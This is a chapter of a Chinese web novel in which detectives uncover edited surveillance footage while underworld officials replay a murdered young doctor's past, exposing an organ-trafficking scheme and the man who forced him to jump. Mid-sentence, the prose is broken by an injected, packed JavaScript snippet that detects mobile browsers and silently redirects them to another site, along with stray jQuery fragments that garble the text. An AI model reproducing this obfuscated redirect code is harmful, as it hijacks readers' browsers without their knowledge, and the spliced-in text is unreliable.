34. 第34章 追魂司

作品:《法界双生录

    荔城警局的会议室里,气氛凝重得几乎能拧出水来,空气仿佛凝固成了实质,压得人喘不过气。


    陈轶站在投影幕前,指尖划过别墅的清晰照片,声音沉稳却难掩一丝凝重,“师傅,这是我跟踪张教授拍到的。他连续三天行踪规律得近乎刻意,直到昨天傍晚,突然调转车头驱车去了荔城别墅区,和一个穿护士服的女人一同进了省书记家,停留整整半小时后准时离开,两人全程没说一句话,更像在完成一项既定任务。”


    刘华岩指尖有节奏地敲击着桌面,发出沉闷的声响,眉头紧锁成一个疙瘩,“张教授一个医院导师,平白无故和省书记扯上关系,还带着护士深夜会面……这里面绝对藏着猫腻。”


    “还有更关键的。”白湛揉了揉布满红血丝的双眼,将一份检测报告和密密麻麻标注着时间的监控时间轴摊在桌上,“我下午发现监控和尸检时间对不上,立刻把视频发给了专门做影像鉴定的朋友,结果确认了,监控确实被专业剪辑过,林墨回头发信号到纵身一跃之间,缺失了2分17秒。这2分17秒里,天台肯定还发生了关键事情,凶手极有可能就在现场。”


    陈轶瞳孔骤然一缩,语气带着恍然大悟的震惊,“难怪张教授的不在场证明那么天衣无缝,原来是提前动了手脚!”


    “不一定是张教授亲自下手,但绝对脱不了干系,不能排除他的嫌疑。”白湛手指下意识地轻敲桌面,眼神里满是审慎。


    刘华岩猛地站起身,周身气压低得吓人,他抓起桌上的检测报告和监控证据,声音沉得像淬了冰,“不管幕后是谁,监控被改、调查受阻、还牵扯到省书记……这案子背后的势力已经摆到明面上了。我现在就去找李局,必须拿到调查令,不管是谁挡路,都不能阻止查案!”


    会议室的门被猛地推开,带着一阵风,刘华岩快步走向局长办公室,留下陈轶和白湛对视一眼,这趟浑水,就算再深,也必须蹚到底。


    “干得不错。”陈轶转头看向白湛,注意到了他眼里的血丝。


    与此同时,黄泉路侧的彼岸花海中,猩红的花瓣无声翻涌,林墨的魂体已经透明得近乎虚幻,仿佛一阵风就能吹散,周身萦绕的光点开始变得黯淡无光,连微弱的波动都快要消失。


    谢昭指尖萦绕的阴力愈发稀薄,只能勉强形成一层薄盾,维持他魂体不散。“人间进度太慢,他撑不住了。”


    范执凝视着摇摇欲坠的魂灵,眼中闪过一丝破釜沉舟的决绝,“只能去追魂司,用孽镜溯忆。”


    谢昭心头一紧,语气带着劝阻,“你知道后果,孽镜需以魂体气息为引,强行回溯过往真相,不仅会让林墨魂体受损加剧,对你自身也会造成强烈反噬。”


    “顾不得那么多了。”范执走到林墨魂体身边,小心翼翼地抱起他虚弱的魂体,声音坚定,“他的冤屈不能就这么石沉大海,哪怕只有一线希望,也要看清真相。”


    谢昭不再劝阻,转身朝着雾霭深处引路,“我陪你去。”


    两人穿过彼岸花海的浓重雾霭,抵达追魂司。


    大殿之内,寒气森森,一面巨大的孽镜悬浮在中央,镜面泛着幽蓝的冷光,上面流转着无数魂灵的过往碎片,隐约能听到细碎的低语。


    追魂司的官吏见是范执,虽有迟疑,但深知他的脾性,也知晓此事关乎沉冤,只得默许放行。


    范执将林墨的魂体轻轻放在孽镜前,又取出一缕沾染过林墨气息的白大褂纤维——那是之前人间查案时,从医院留存的物证中提取的样品。


    他指尖划破掌心,暗红色的阴血滴在纤维上,念起咒语,“以我阴力为引,以孽镜为媒,溯林墨之过往,去!”


    咒语落下的瞬间,孽镜骤然爆发出刺眼的光芒,纤维化作一道流光,瞬间融入林墨的魂体。


    范执浑身紧绷,阴力源源不断地注入孽镜,额头上青筋暴起,脸色逐渐变得苍白,豆大的汗珠顺着脸颊滑落。


    镜面上,画面开始清晰流转。


    那是林墨年少时的模样,在昏黄的灯光下挑灯夜读,墙上贴满了医科大学的招生简章,眼神里满是对未来的憧憬与坚定;高考放榜那天,他拿着录取通知书冲进家门,父母喜极而泣,紧紧抱着他,反复说着“我的儿子出息了”。


    大学毕业时,他穿着学士服,和父母在校园里合影,笑容青涩却耀眼;工作后,他常常对着手机和父母视频,分享医院里的趣事,也吐槽加班的疲惫,偶尔说起遇到的难题,父母总会耐心开导,眼神里满是牵挂。


    画面陡然一转,来到医院的手术室。


    林墨穿着手术服,脸色涨红,正和一名临床医生激烈争执,“这不符合流程!患者的配型报告有明显问题,绝对不能仓促手术!”


    那名医生冷笑一声,摘下口罩,脸上满是不耐烦,“林墨,少管闲事。这不是你该操心的,好好写病历,好处少不了你的。”


    他伸出手,比了个诱人的数字,“一笔丰厚的报酬,够你奋斗好几年。”


    林墨眼神坚定,毫不犹豫地拒绝,“这是违背医德和人伦的事!我做不到!那些患者信任我们,把生命交给我们,不是让我们这样践踏的!”他趁着对方转身的间隙,悄悄摸出手机,按下了录音键,又快速拍摄了手术台旁的异常配型报告。


    医生脸色一沉,语气带着威胁,“你可想好了?在这医院里,我要让你待不下去,易如反掌。你的转正申请,还在我手里吧?”


    “就算被辞退,我也不会同流合污!”林墨义正言辞,没有丝毫退让。


    镜面上的画面微微晃动,接着切换到深夜的医院走廊。


    林墨抱着一个襁褓中的婴儿,脚步匆匆,脸上满是焦急,还不时回头张望。走廊里人影稀少,他巧妙地避开监控,快速来到住院部楼下,将婴儿小心翼翼地交给等候在那里的家属,低声叮嘱着尽快远离荔城。


    随后,他又返回医院,连夜联系了多名儿童患者的家属,趁着夜色和值班人员少的空隙,悄悄为孩子们办理了转院手续,眼底满是疲惫,却透着一丝欣慰的光芒。


    范执和谢昭看着镜中的画面,心头一沉。


    林墨显然发现了医院里的异常,因此冒险救走了可能沦为牺牲品的孩子。


    画面再次跳转,来到林墨坠楼那天的办公室。


    他正默默收拾行李,将一叠厚厚的资料逐一扫描,发送到父母的手机,又把另一部分关键资料仔细塞进一个黑色布袋,紧紧攥在手里。


    随后,他拿着布袋离开办公室,绕到医院住院部后面的荒废杂物间,将布袋藏在杂物堆最深处,还用几块破旧木板仔细伪装好,确认无误后才转身返回。


    刚坐在办公桌前,还没来得及喘口气,办公室的门就被猛地推开。


    张教授走了进来,脸上带着一丝复杂难辨的神色,手里拿着一个厚厚的信封,重重放在林墨面前,“这里面是五万块现金。把你手机里的视频和录音交出来,我会跟医院说情,你的转正申请我亲自批,之前的事就当没发生过。”


    林墨看着眼前的导师——这个一路带他成长、教会他无数医学知识的人,眼神里满是麻木和深深的失望。


    他颤颤巍巍地站起身,茫然地看向张教授,声音因极致的激动而颤抖,“老师,你告诉我,你从医的本心是什么?是救死扶伤,还是为了钱不择手段?那些孩子,那些患者,在你们眼里就只是牟利的工具吗?”


    “良心能值多少钱?”张教授平静地看着他,语气里听不出一丝犹豫,只有冰冷的功利。


    “你丢了一个医生最基本的良心!”林墨低下头,看着自己那双曾经发誓要救死扶伤的手,眼泪止不住地往外冒,声音带着哽咽。


    “往后这些钱,只会多不会少。”张教授的语


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872161|191294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气带着诱惑,又透着一丝狠戾,“那些人本来就有各种疑难症状,就算出事,也没人会怀疑。我们每天面对那么多患者,死几个,太正常了。”


    “畜生!你就是个人面兽心的畜生!你们迟早会有报应的!”林墨再也忍不住,对着张教授破口大骂,积压的愤怒和失望在这一刻彻底爆发。


    这句话像是戳中了张教授最隐秘的痛处,他脸上的儒雅瞬间碎裂,变得狰狞可怖。


    他猛地抄起旁边医疗器械架上的一节铁管,朝着林墨狠狠砸了过去!


    林墨下意识侧身躲闪,铁管擦着他的肩膀重重砸在身后的档案柜上,发出“哐当”一声巨响,震得整个办公室都在晃动。他脸上的眼镜被巨大的冲击力震飞,掉在地上,镜片碎成了好几片,散落在档案柜的角落,与之前陈轶发现的碎片完美吻合。


    突然,画面剧烈晃动起来,转眼便切换到医院14楼的天台。


    林墨穿着白大褂,脚步虚浮,眼神空洞,双手紧紧贴在裤缝两侧,手指蜷缩成拳,指甲几乎要嵌进掌心,压抑着极致的紧张与恐惧。他低头死死盯着地面,却在路过每个监控探头时,都会下意识地侧头扫一眼,最终一步步走进了顶楼的监控死角。


    他站在护栏边,冰冷的风掀起他的白大褂,猎猎作响。


    突然,他猛地转头,瞳孔微微收缩,目光死死盯住监控死角的阴影处。


    范执顺着他的目光看去,只见阴影里站着一个男人——戴着黑色帽子,帽檐压得很低,西装革履,脚上穿着一双锃亮的黑色皮鞋,一看便非普通人。


    男人点燃一支烟,深深吸了一口,烟雾在他周身缭绕,模糊了他的面容,只能看到他嘴角勾起一抹残忍而冰冷的笑意。


    “我给过你机会。”男人的声音低沉而冰冷,像淬了毒的利刃,“你救不了那么多人,也改变不了什么。从这里跳下去,你之前救走的那些孩子,我可以不追究。”


    林墨的身体微微颤抖,他抬头看了眼楼顶的摄像头,又低头看了看地面,像是做了最后的诀别。他缓缓抬起手,重重地锤了锤自己的胸口,随后,没有丝毫犹豫,他转身,纵身跃下天台。


    孽镜上的画面骤然消失,幽蓝的光芒瞬间褪去,大殿重新陷入昏暗。


    范执猛地喷出一口鲜血,脸色苍白如纸,踉跄着后退了几步才勉强站稳,胸口传来一阵阵撕裂般的疼痛。


    林墨的魂体变得更加透明,几乎快要和空气融为一体,连微弱的魂息都快要察觉不到。


    “林墨!”谢昭急忙上前,将自身阴力尽数渡过去,护住他残存的魂灵。


    范执擦去嘴角的血迹,眼神里满是震惊和滔天的愤怒,“天台还有另一个人……那个穿西装的男人,绝对是幕后黑手!”


    谢昭看着虚弱到极致的林墨,沉声道,“我们知道了真相,但林墨的魂体已经快撑不住了。必须让人间尽快找到证据,抓到凶手,才能化解他的执念,保住他的魂灵。”


    范执重重点头,心中只有一个念头——人间的调查,再也不能慢了。


    而此时的荔城警局,刘华岩正站在李局的办公室里,据理力争,将所有证据一一摆在桌上,语气坚定,“李局,这案子绝不是简单的自杀,背后牵扯甚广,我们不能让真相被掩盖!”


    李局看着桌上的证据,脸色凝重,手指轻轻敲击着桌面,沉默了许久,终于开口,“我给你调查令,但记住,这案子牵扯太大,一步都不能错,务必小心行事。”


    刘华岩心中一喜,立刻立正敬礼,“谢谢李局!我一定查出真相,还死者一个公道!”


    拿着滚烫的调查令,刘华岩快步走出办公室,正好遇上焦急等待的陈轶和白湛。


    “怎么样?”两人异口同声地问道,眼中满是期待。


    刘华岩举起手中的调查令,眼神锐利如鹰,一字一句道:“走!”